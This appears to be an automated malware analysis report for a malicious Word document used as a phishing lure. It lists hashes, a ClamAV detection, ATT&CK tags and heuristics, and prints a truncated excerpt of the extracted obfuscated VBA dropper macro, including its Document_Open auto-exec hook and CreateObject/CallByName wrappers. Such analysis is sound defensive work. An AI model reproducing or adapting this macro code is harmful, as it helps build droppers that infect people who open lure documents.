Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 383d96ba2b352458…

MALICIOUS

Office (OLE)

114.5 KB Created: 2016-04-27 23:02:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 46cebe5fcea5306675d5126c9ff82b34 SHA-1: f57dbf65f858a490c32680b333d8db3ffbd58aba SHA-256: 383d96ba2b3524581b10e12882b4b19a66004743289f466ae62ab1afab7c11e3
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.Agent-1399074'. High-severity heuristics indicate the presence of VBA macros, specifically a Document_Open macro that utilizes CreateObject, GetObject, and CallByName functions. This suggests the macro is designed to download and execute a secondary payload. The document body content appears to be a subpoena, likely a lure to trick the user into opening the malicious document.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-1399074 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1399074
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15490 bytes
SHA-256: 5c19b2de3faa34b51e8c2dcf969d4a8765cae28736454ae88a468243d7d90fdf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Const CjuGbpKcPrYI As Long = 5226
Private Const baDuZXGhw As String = "oidUL1Zy7IWfx3"
Public Sub ATgjAr()
Dim QfScd5 As Object
Dim ihO3wnp As Variant, fxSEPoPytrzV As Integer
Dim j85OvD30lz As String
On Error GoTo lRxiXYrcpKMPKS
Set QfScd5 = LQpgVsEXsbyUT.Ir2UUDUGwJ(PTPkoz0Z2wvZSKM(lqNuYXaZ.ZOsciuwXXihAxp, 57), gRRnVNuPp.y4dW4Paqca)
fxSEPoPytrzV = kLdE6b5x.CE24LeC5(QfScd5, PTPkoz0Z2wvZSKM(lqNuYXaZ.PkcqMgX, 124))
If fxSEPoPytrzV <> gRRnVNuPp.AHostVAcVzK21 Then
Err.Raise Number:=1
End If
ihO3wnp = kLdE6b5x.CE24LeC5(QfScd5, PTPkoz0Z2wvZSKM(lqNuYXaZ.aqdYjPQk, 340))
j85OvD30lz = gRRnVNuPp.K8VFl2 & gRRnVNuPp.agKo5o6wW & gRRnVNuPp.AM1G8nMHxwsb
LQpgVsEXsbyUT.RHIsQQXzamNRtmh j85OvD30lz, ihO3wnp
LQpgVsEXsbyUT.v1ARktfJL2lUt j85OvD30lz
Exit Sub
lRxiXYrcpKMPKS:
End Sub
Private Function RwfIrmSWOFjXEcQzde() As Integer
RwfIrmSWOFjXEcQzde = 5979
End Function
Private Sub FjlINDcEHaUxZWG()
MkuoxfUPJ
End Sub
Private Sub Document_Open()
gRRnVNuPp.DDMQoRjo6d
End Sub

Attribute VB_Name = "lqNuYXaZ"
Attribute VB_Base = "0{E045DD48-BBEE-4D7D-8A98-381162F0ED6E}{FDB52CE2-EB19-4019-B272-65913C97B0C6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "kLdE6b5x"
Private Const EasyBXGQzNj As Variant = "sRqLAgI52NJZtGXWaz"
Public Function uoYPb1(ByVal MEy3tFNOhauiqcc As Variant) As Variant
Set uoYPb1 = GetObject(MEy3tFNOhauiqcc)
End Function
Private Function gFhYrANRioBdpX() As Long
gFhYrANRioBdpX = 4016
End Function
Private Sub ngZDHbuRlt()
kBJSaObTYEUqrmfyW
End Sub
Public Function zJCApTh7DPrJc66(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal lYBRuHlQQ As Variant, ByVal xTGXWi As Variant, ByVal kijgCNlt3I As Variant) As Variant
zJCApTh7DPrJc66 = CallByName(e8BNpUbbbycg, KR7UG5nruz, 1, lYBRuHlQQ, xTGXWi, kijgCNlt3I)
End Function
Public Sub m2zgLvK1NE3B(ByVal e8BNpUbbbycg As Object, ByVal jKJo3WQIsbgPiH As String, ByVal rlcX0yZ As Variant)
CallByName e8BNpUbbbycg, jKJo3WQIsbgPiH, 4, rlcX0yZ
End Sub
Public Sub GnKAw3jL7nRs2()
Application.Run gRRnVNuPp.VKUZi2aE6IIf
End Sub
Public Function aWTQyzC2iOKD(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal zTdHsv As Variant) As Variant
Set aWTQyzC2iOKD = CallByName(e8BNpUbbbycg, KR7UG5nruz, 1, zTdHsv)
End Function
Public Sub nVpZOWq(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal zTdHsv As Variant)
CallByName e8BNpUbbbycg, KR7UG5nruz, 1, zTdHsv
End Sub
Public Function l7aZ8S3X(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal zTdHsv As Variant)
l7aZ8S3X = CallByName(e8BNpUbbbycg, KR7UG5nruz, 1, zTdHsv)
End Function
Public Function CE24LeC5(ByVal e8BNpUbbbycg As Object, ByVal jKJo3WQIsbgPiH As String) As Variant
CE24LeC5 = CallByName(e8BNpUbbbycg, jKJo3WQIsbgPiH, 2)
End Function
Public Sub tmQN9NYLgV8(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String)
CallByName e8BNpUbbbycg, KR7UG5nruz, 1
End Sub
Public Sub GY9zkfrKLHTQzgN(ByVal e8BNpUbbbycg As Variant, ByVal KR7UG5nruz As Variant, ByVal lYBRuHlQQ As Variant, ByVal xTGXWi As Variant)
CallByName e8BNpUbbbycg, KR7UG5nruz, 1, lYBRuHlQQ, xTGXWi
End Sub
Private Function QwKVFlxeTOMyD() As Integer
QwKVFlxeTOMyD = 2825
End Function
Public Function uikE875oaX8q1(ByVal ysmMKr As String) As Object
Set uikE875oaX8q1 = CreateObject(ysmMKr)
End Function

Attribute VB_Name = "oEh9Ysfkba"
Public Function ltqsiEr() As Boolean
Dim hAA78SvDl6kABD As String
Dim tVMG80njxnyN As Object
Dim H4SLWr6iMWR As Variant
Dim PFCaQuBtNEEgT As Variant
For Each tVMG80njxnyN In LQpgVsEXsbyUT.FAWX9dhAprU
H4SLWr6iMWR = kLdE6b5x.CE24LeC5(tVMG80njxnyN, gRRnVNuPp.PTPkoz0Z2wvZSKM(lqNuYXa
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.